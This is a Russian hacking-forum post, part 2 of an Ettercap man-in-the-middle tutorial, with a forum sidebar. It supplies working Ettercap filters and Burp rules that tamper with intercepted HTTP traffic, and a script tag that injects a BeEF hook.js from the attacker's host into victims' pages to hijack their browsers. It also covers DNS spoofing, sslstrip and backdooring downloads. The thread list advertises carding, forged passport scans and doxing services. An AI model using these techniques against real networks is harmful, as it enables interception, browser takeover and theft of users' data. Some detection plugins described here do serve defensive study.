Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 2

  • Автор темы klobald
  • Дата начала
K

klobald

Original poster
4. Подмена данных на лету в Ettercap
4.1 Использование пользовательских фильтров Ettercap

Примечание: При всех тестированиях у меня так и не заработали фильтры Ettercap. Трудно понять, дело в руках, в особенностях оборудования или в ошибке в самой программе… Но на для версии 0.8.2 (последней на текущий момент), имеется баг репорт о проблемах с фильтрами. Вообще, судя по баг репортам и форумам, фильтры или отваливаются часто, или вообще уже давно не работают. Имеется ветка, в которую внесены изменения 5 месяцев назад

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

, т.е. filter-improvements (с улучшениями фильтров). И для этой ветки и для версии из репозитория были сделаны самые разнообразные тесты, опробованы разнообразные фильтры в разных условиях, потрачено много времени, но результата нет. Кстати, для установки версии filter-improvements в Kali Linux нужно сделать так:
Код:
sudo apt-get remove ettercap-graphical ettercap-common
sudo apt-get install git debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libluajit-5.1-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev ghostscript groff libtool libpcre3 libncurses5-dev
git clone -b filter-improvements https://github.com/Ettercap/ettercap.git
cd ettercap/
mkdir build
cd build
cmake ENABLE_PDF_DOCS=On ../
make
sudo make install

В общем, если у вас фильтры не заработали – то вы не одиноки. В инструкции про Ettercap я не могу пропустить тему фильтров, поэтому они будут рассмотрены в любом случае.

До сих пор мы использовали Ettercap для ARP спуфинга. Это весьма поверхностное применение. Благодаря пользовательским фильтрам, мы можем вмешиваться и менять трафик «на лету». Фильтры должны содержаться в отдельных файлах и перед использованием их нужно компилировать с помощью программы Etterfilter. Хотя документация, на которую дана ссылка, и кажется куцей, но в купе с примерами, которые приведены ниже, она позволит писать довольно интересные фильтры.

Давайте создадим наш первый фильтр, он будет все изображения подменять на это:

jollypwn.png



В файл с именем img_replacer.filter скопируйте:
Код:
if (ip.proto == TCP && tcp.dst == 80) {

   if (search(DATA.data, "Accept-Encoding")) {

      replace("Accept-Encoding", "Accept-Rubbish!"); # примечание: строка замены такой же длины как и оригинальная

      msg("zapped Accept-Encoding!\n");

   }

}

if (ip.proto == TCP && tcp.src == 80) {

   replace("src=", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   replace("SRC=", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   replace("src =", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   replace("SRC =", "src=\"http://www.irongeek.com/images/jollypwn.png\" ");

   msg("Filter Ran.\n");

}

Скомпилируйте файл:
Код:
etterfilter img_replacer.filter -o img_replacer.ef

Результаты компиляции:
Код:
etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team
 14 protocol tables loaded:
    DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth
 13 constants loaded:
    VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP
 Parsing source file 'img_replacer.filter'  done.
 Unfolding the meta-tree  done.
 Converting labels to real offsets  done.
 Writing output to 'img_replacer.ef'  done.
 -> Script encoded into 18 instructions.

Ключ -F говорит программе, что нужно загрузить фильтр из файла, который идёт за ключом. После компиляции имя нашего нового файла с фильтром img_replacer.ef, поэтому команда приобретает вид:
Код:
ettercap -G -F img_replacer.ef

Примечание: Когда вы мониторите веб-трафик, пакеты, которые вы видите, могут проходить в закодированной форме. Для эффективной работы фильтров, Ettercap нуждается в трафике в виде простого текста. По некоторым наблюдениям, тип кодировки, который используют веб-страницы это "Accept-Encoding: gzip, deflate"

Ниже фильтр, которые затирает кодировку принуждая к общению в форме простого текста:
Код:
if (ip.proto == TCP && tcp.dst == 80) {

if (search(DATA.data, "gzip")) {

    replace("gzip", "    "); # примечание: четыре пробела в заменяемой строке

        msg("whited out gzip\n");

    }

}

if (ip.proto == TCP && tcp.dst == 80) {

    if (search(DATA.data, "deflate")) {

        replace("deflate", "       "); # примечание: семь пробелов в заменяемой строке

        msg("whited out deflate\n");

    }

}

а далее ещё несколько примеров:

# замена текста в пакете:

if (ip.proto == TCP && search(DATA.data, "lol")){

    replace("lol", "smh");

    msg("filter ran");

}

 

# показать сообщение, если tcp портом является 22

if (ip.proto == TCP) {

   if (tcp.src == 22 || tcp.dst == 22) {

      msg("SSH packet\n");

   }

}

# записать весь telnet трафик, также выполнить ./program на каждый пакет

if (ip.proto == TCP) {

   if (tcp.src == 23 || tcp.dst == 23) {

      log(DATA.data, "./logfile.log");

      exec("./program");

   }

}

# записать весь трафик, кроме http

if (ip.proto == TCP && tcp.src != 80 && tcp.dst != 80) {

   log(DATA.data, "./logfile.log");

}

# некоторые операции с полезной нагрузкой пакетов

if ( DATA.data + 20 == 0x4142 ) {

   DATA.data + 20 = 0x4243;

} else {

   DATA.data = "modified";

   DATA.data + 20 = 0x4445;

}

# отбросить все пакеты, содержащие "ettercap"

if (search(DECODED.data, "ettercap")) {

   msg("some one is talking about us...\n");

   drop();

   kill();

}

# записать расшифрованные ssh пакеты, соответствующие регулярному выражению

if (ip.proto == TCP) {

   if (tcp.src == 22 || tcp.dst == 22) {

      if (regex(DECODED.data, ".*login.*")) {

         log(DECODED.data, "./decrypted_log");

      }

   }

}

# убийство пакетов

if (ip.ttl < 5) {

   msg("The packet will die soon\n");

}

# то же самое для IPv6, но делая тривиальный тест убеждаемся, что перед нами действительно IPv6 пакеты

if (eth.proto == IP6 && ipv6.hl < 5) {

   msg("The IPv6 packet will die soon\n");

}

# сравнение строки на данный сдвиг

if (DATA.data + 40 == "ette") {

   log(DATA.data, "./logfile");

}

# вставить файл после указанного пакета

if (tcp.src == 21 && search(DATA.data, "root")) {

   inject("./fake_response");

}

# целиком заменить пакет на другой

if (tcp.src == 23 && search(DATA.data, "microsoft")) {

   drop();

   inject("./fake_telnet");

}

# Изменение бинарных данных используя внешнюю программу

if (udp.dst == 53 && pcre_regex(DATA.data, ".*\x03com\x00.*")) {

   log(DATA.data, "/tmp/payload");

   drop();

   execinject("/bin/sed 's/\x03com\x00/\x02my\x04page\x02de\x00/g' /tmp/payload");

   udp.len += 7;

   exec("/bin/rm /tmp/payload");

   msg("faked");

}

# фильтровать только указанный IP адрес

if (ip.src == '192.168.0.2') {

   drop();

}

# делать то же самое для IPv6

if (ipv6.src == '2001:db8::1') {

   drop();

}

# комбинируем IPv4 и IPv6

if (eth.proto == IP && ip.dst == '192.168.0.2') {

   msg("drop IPv4");

   drop();

}

if (eth.proto == IP6 && ipv6.dst == '2001:db8::1') {

   msg("drop IPv6");

   drop();

}

# транслировать tcp пакеты с порта 80 на 81

if (tcp.dst == 80) {

   tcp.dst -= 1;

   tcp.dst += 2;

}

# найти и покалечить пакеты ESP

if (ip.proto == ESP) {

   DATA.data = "DEADDECAF";

}


4.2 Подмена данных с помощью Burp
Запускаем Ettercap и Burp как это описано в пункте 1.2 или в пункте 2.2.

В Burp переходим в Proxy -> Options. Находим там Match and Replace. Нажимаем Add для добавления нового правила.

  • Request header – это заголовок запроса
  • Request body – тело запроса
  • Response header – заголовок ответа
  • Response body – тело ответа
  • Request param name – Имя параметра запроса
  • Request param value – Значение параметра запроса
  • Request first line – Первая строка запроса
Если нужно поменять данные, передаваемые методом GET, то это относится к заголовкам.

В HTML разметке также есть такое понятие как head (тэг head). К этому заголовку те, о которых сказано чуть выше, не имеют никакого отношения. Чуть выше говориться о заголовках пакетов. Если вы хотите изменить содержимое HTML страницы, то нужно вместо Request header всегда выбирать Response body, даже если вы собираетесь менять содержимое тэга head (например, заголовок).

Если вы не знакомы с регулярными выражениями, то, в принципе, ничего страшного: HTML многое прощает, и то, что ему непонятно, он просто игнорирует – этим можно пользоваться. Если же вы умеете пользоваться регулярными выражениями, то я вас уважаю. )))

Для примера создадим новое правило, Request header меняем на Response body. В самом правиле мы будем менять
Код:
<title>.*<\/title>

на

<title>No Title</title>

Поставьте галочку на Regex match.

42.jpg



Теперь на всех сайтах (без HTTPS) вместо заголовка будет No Title:

41-1.jpg



Вставляем произвольную строку после тэга body (будет первой строкой в тексте). Request header меняем на Response body. Меняем
Код:
<body.*?>

На

<body><p>I am cool!</p>

Поставьте галочку на Regex match.

43.jpg



В правом верхнем углу (зависит от вёрстки) появляется надпись «I am cool!». Можно вставлять CSS, JavaScript код, любой текст – что угодно. Можно вообще всё из страницы удалить, а потом заполнить её своим содержимым – всё зависит от вашей фантазии.

44.jpg



Была идея чуть модифицировать каждую форму, чтобы данные отправлялись на оригинальный сервер и на сервер атакующего (реализовать мульти submit для каждой формы). Но рассудив, что если передоваемые данные не зашифрованные и мы имеем к ним доступ – то мы и так их видим, ни на какой сервер их отправлять не нужно. Тем не менее, если кому-то понадобиться, здесь реально работающий пример отправки данных из одной формы сразу на несколько серверов.

5. Подцепление на BeEF
Чтобы начать использовать возможности BeEF, нам нужно внедрить в HTML код JavaScript файл, обычно это строка вида:
Код:
<script src="IP_или_ХОСТ/hook.js">

Следующие два метода различаются только методом внедрения этой строки.


5.1 Подцепление BeEF с помощью фильтров Ettercap
[раздел будет подготовлен позже]


5.2 Подцепление BeEF с помощью Burp
Начать нужно в точности также, как написано в пункте 4.2. Только вместо замены заголовков и добавления текста на сайт мы внедрим JavaScript код в виде строки:
Код:
<script src="IP_или_ХОСТ/hook.js">



В моём случае этот файл доступен на IP 192.168.1.36 на порту 3000. Файл так и называется hook.js (можно поменять в настройках). Т.е. в моём случае мне нужно внедрить строку:
Код:
<script src="http://192.168.1.36:3000/hook.js">

Это можно сделать, например, созданием нового правила, Request header меняем на Response body. В самом HTML коде должна происходить замена
Код:
<\/head>

На

<script src="http://192.168.1.36:3000/hook.js"></head>

51.jpg



Отлично, при открытии любого сайта, который без HTTPS, в HTML код вставляется JavaScript код, который позволяет через подцепленный браузер собирать информацию и производить разнообразные атаки:

52.jpg



6. Заражение бэкдорами
Подменять и заражать исполнимые файлы можно как с помощью фильтров Ettercap [которые по какой-то причине уже давно не работают], так и с помощью сторонних приложений. Например, на лету это умеет делать

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

. К сожалению, BDFProxy до сих пор не может оправиться от апрельского (в 2016 году) обновления Backdoor Factory: в Python пакет libmproxy был переименован в mitmproxy. Для BDFProxy пакет libmproxy является необходимой зависимостью, без этого пакета программа не запускается. Поэтому теперь, до «ремонта» BDFProxy, использовать её не получается, ведь даже при установленном Backdoor Factory, программа BDFProxy жалуется на отсутствие библиотеки libmproxy…

Аналогичную операцию можно проделать и с Burp Suite.


7. Использование плагинов Ettercap
Плагинов довольно много, мне самыми интересными кажутся те, которые описаны ниже.

Плагины можно подключить при запуске Ettercap, для этого имеется опция:
Код:
-P, --plugin <плагин>       запустить этот <плагин>

Также плагины можно загрузить из графического интерфейса:

61-1.jpg


[МАТЕРИАЛ В ПРОЦЕССЕ ПОДГОТОВКИ]

7.1 arp_cop
Он сообщает о подозрительной ARP активности пассивным мониторингом ARP запросов/ответов. Он может сообщать о попытках травления ARP или простых IP-конфликтах или IP-изменений. Если вы строите первоначальный список хостов, то плагин будет работать более точно.

пример:
Код:
ettercap -TQP arp_cop //

Пример реального выявления ARP спуфинга:

Развернуть

7.2 autoadd
Он будет автоматически добавлять новых жертв по мере их подключения к ARP травлению атаки mitm. Он ищет ARP запросы в локальной сети, и при выявлении плагин добавит хост к списку жертв, если список был указан как ЦЕЛЬ. Хост добавляется когда от него виден arp запрос.

7.3 chk_poison
Он выполняет проверку — успешны ли модули arp травления в ettercap. Он отправляет спуфленные ICMP эхо пакеты всем жертвам травления притворяясь каждой жертвой. Он может поймать ICMP ответ с нашим MAC адресом как пунктом назначения, это означает, что травление между этими двумя целями успешно. Он проверяет оба пути каждого соединения.

7.4 dns_spoof
Этот плагин прерывает DNS запросы и отвечает спуфленным (поддельным) ответом. Вы можете выбрать для какого адреса плагин должен ответить редактированием файла etter.dns. Плагин перехватывает A, AAAA, PTR, MX, WINS, SRV и TXT запросы. Если это был A запрос, то имя ищется в файле и возвращается IP адрес (вы можете использовать групповые символы в имени).

Это же применяется и к AAAA запросам.

7.5 find_conn
Очень простой плагин, который прослушивает ARP запросы для показа вам всех целей, с которыми хост хочет общаться. Он также может вам помочь в поисках адресов в неизвестных LAN.

пример:
Код:
ettercap -TQzP find_conn

ettercap -TQu -i eth0 -P find_conn

7.6 find_ettercap
Пытается идентифицировать пакеты ettercap отправленные в LAN. Он может быть полезным для выявления чьих-то попыток использовать ettercap. Не полагайтесь на него на 100%, поскольку тесты срабатывают только на конкретные последовательности/идентификационные числа.

7.7 scan_poisoner
Проверят, травит ли кто-нибудь между какими-либо хостами в списке и нами. Для начала он проверяет, имеют ли два хоста в списке одинаковый mac адрес. Это может означать, что один из них травит нас притворяясь другим. Он может сгенерировать много ложных срабатываний в прокси-arp окружении. Вы должны построить список хостов для выполнения этой проверки. После этого он отправляет icmp эхо пакеты каждому хосту в списке и проверяет, отличается ли mac адрес источника ответа адреса, который мы сохранили в списке с этим IP. Это может означать, что кто-то травит этот хост претворяясь, что имеет наш IP адрес и перенаправляет перехваченный пакеты нам. Вы не можете выполнить этот активный тест в unoffensive (безобидном) режиме.

пример:
Код:
ettercap -TQP scan_poisoner //

7.8 search_promisc
Он пытается найти, сниффит (прослушивает) ли кто-нибудь в неразборчивом режиме. Он отправляет два разных плохо сформированных arp запроса каждой цели в списке хостов и ждёт ответов. Если ответ пришёл от целевого хоста, это более или менее вероятно, что эта цель имеет сетевую карту в неразборчивом режиме. Он может генерировать ложные тревоги. Вы можете запустить его как из командной строки или из меню плагинов. Поскольку он прослушивает arp ответы, будет лучше, если вы не будете использовать их во время отправки arp запросов.

примеры:
Код:
ettercap -TQP search_promisc /192.168.0.1/

ettercap -TQP search_promisc //

7.9 sslstrip
Во время выполнения SSL mitm атаки, ettercap подменяет реальный ssl сертификат на свой собственный. Фальшивый сертификат создаётся на лету и все поля заполнены в соответствии с представленным сервером реальным сертификатом.

Заключение
Ettercap – программа для выполнения атаки человек-посередине. Она предлагает три пользовательских интерфейса на выбор. Кроме своей основной функции – ARP спуфинг и сниффинг трафика, программа поддерживает работу с плагинами и фильтрами.

Ettercap может быть использована в комбинации с другими инструментами, для выполнения самых разных сценариев атак.
 
Название темы
Автор Заголовок Раздел Ответы Дата
K Инструкция по Ettercap: атака человек-посередине (MitM), перехват паролей, обход HSTS, подмена данных на лету ЧАСТЬ 1 Уязвимости и взлом 1
bitwisex Инструкция по установке и настройке криптовалютного кошелька Trust Wallet Полезные статьи 0
Emilio_Gaviriya Статья Инструкция по обнаружению хоста и тестированию на проникновение. Уязвимости и взлом 0
BuriTTo Инструкция по настройке своего VPN от VektorT13 SSH / дедики / Vpn / Proxy / Socks 0
T Инструкция по установке веб-сервера Apache c PHP, MariaDB и phpMyAdmin в Windows. Полезные статьи 0
K Инструкция по использованию jSQL Injection — многофункционального инструмента поиска и эксплуатации SQL-инъекций в Kali Linux Уязвимости и взлом 0
K Инструкция по использованию MITMf Уязвимости и взлом 0
S Статья Анонимность | Инструкция по Выживанию Анонимность и приватность 0
C Инструкция по добычи PROXY для Black_Lucky Полезные статьи 1
M UBC developed by FraGmeNt 1.7.1 + Инструкция для редактора Бруты/Парсеры/Чекеры 2
Emilio_Gaviriya Статья CVE: Подборка ресурсов по поиску уязвимостей. Уязвимости и взлом 0
Emilio_Gaviriya Как вычислить местоположение по IP-адресу? Статьи 0
AezaHost Продам Aéza — 7950X3D до 5.7 ГГц по ценам обычных серверов во всём мире. Автоустановка 60с Сайты/Хостинг/Сервера 0
Emilio_Gaviriya Статья Поиск по IoT, IP, доменам и поддоменам: 4 утилиты. Уязвимости и взлом 0
HyperHosting Продам Hyper.Hosting - Надежные VPS и серверы по всему миру! Сайты/Хостинг/Сервера 0
Emilio_Gaviriya Статья Гайд по SQL-инъекциям. Уязвимости и взлом 0
Black_ppss ⭐ Поиск людей для работы с команде! Вещевой карж по EU! Предоставляю работу. Ищу специалиста. 1
Support81 92% атак по email: электронная почта остается главной лазейкой для фишеров Новости в сети 0
Support81 Специалисты по кибербезопасности назвали главную угрозу для компаний в 2024 году Новости в сети 0
lonesttar Ожидает оплаты Скрипт бота по аренде виртуальных номеров + бот техподдержка! Продажа софта 0
lonesttar Ожидает оплаты Скрипт бота по аренде прокси + бот техподдержка! Продажа софта 0
A Ищем менеджера по обработке заявок. Предоставляю работу. Ищу специалиста. 1
F Вакансия: Менеджер по продажам - удаленная работа в США Предоставляю работу. Ищу специалиста. 0
Support81 Zhejiang Big Chip: китайский удар по доминированию США в сфере суперкомпьютеров Новости в сети 0
E.Alderson Ищу наставника по penetration tester Ищу работу. Предлагаю свои услуги. 0
Dany Blanco Набор в команду 2-3 человека! Вбив вещевухи по Европе. Предоставляю работу. Ищу специалиста. 0
TrashHellSoDomy Работающие методы по борьбе с гриппом типа ковида Юмор 3
SMM2040 Ожидает оплаты Рассылаем по WhatsApp | Лучшая цена | 98% Проход Ищу работу. Предлагаю свои услуги. 1
NovaBaseNova Базы на заказ. Собираем по любым направлениям! Ищу работу. Предлагаю свои услуги. 0
Ёшкин_кот Интересно Зарубежный сервис по приёму смс. (бесплатный) Свободное общение и флейм 1
Ёшкин_кот Интересно Пять способов поиска человека по открытым источникам (OSINT) Полезные статьи 2
turbion0 В России запустили переводы по СБП в пять стран. Деньги поступают мгновенно Новости в сети 0
T Куплю Куплю Вашу криптовалюту по выгодному курсу!! Куплю/Продам 0
Support81 Терпение лопнуло: Южная Корея, США и Япония объединяют усилия по борьбе с северокорейскими хакерами Новости в сети 0
C Помощь по зароботку! Предоставляю работу. Ищу специалиста. 0
Mr.Prime Ищу специалиста по деанону телеги. Есть приватный канал, нужно узнать владельца. Предоставляю работу. Ищу специалиста. 0
BillyBons Игры бесплатно для слабых ПК по прямой ссылке- rpgame1.net Другое 4
Арианна 25 книг по социальной инженерии Полезные статьи 2
I Турнир по Dota 2 и приз 10 000 руб! Присоединяйтесь будет жарко! Свободное общение и флейм 0
RefBanker Ожидает оплаты Скупка до 75% на ручных дропов | Пересыл вашего стаффа по WW | Белые лейблы UPS за 60% Куплю/Продам 1
Арианна Государственный пробив по РФ Ищу работу. Предлагаю свои услуги. 0
mrpink Продам Качественные сканы РФ паспортов по доступным ценам. Отрисовка документов Аккаунты/Админки/Документы 0
mrpink Ищу сотрудников салонов Связной, Мегафон и Contact для работы по верификациям кошельков Qiwi и Юмани Предоставляю работу. Ищу специалиста. 0
U Usersbox — OSINT бот по пробиву людей и поиску информации Корзина 0
G Требуется АРТ- АГЕНТ по продаже на eBay , Аmazon и др. Копии картин знаменитых Корзина 0
JustTG Ожидает оплаты Just-tg.com | Сервис по продвижению каналов и ботов в TELEGRAM | Прямой поставщик 24/7 Ищу работу. Предлагаю свои услуги. 1
M Пробив от секретной службы Mossad (ПРОБИВ по всем структурам, комплексные решения под ваш запрос) Корзина 0
Support81 Шантаж, клевета, угрозы расправы? Обычный рабочий день специалиста по кибербезопасности Новости в сети 1
Support81 Интересно Алгоритм работы СБ Сбербанка по антифроду. Карты/CC/Банки/Enroll 0
Support81 Юные британские хакеры взломали десятки организаций по всему миру, как им это удалось? Новости в сети 0

Название темы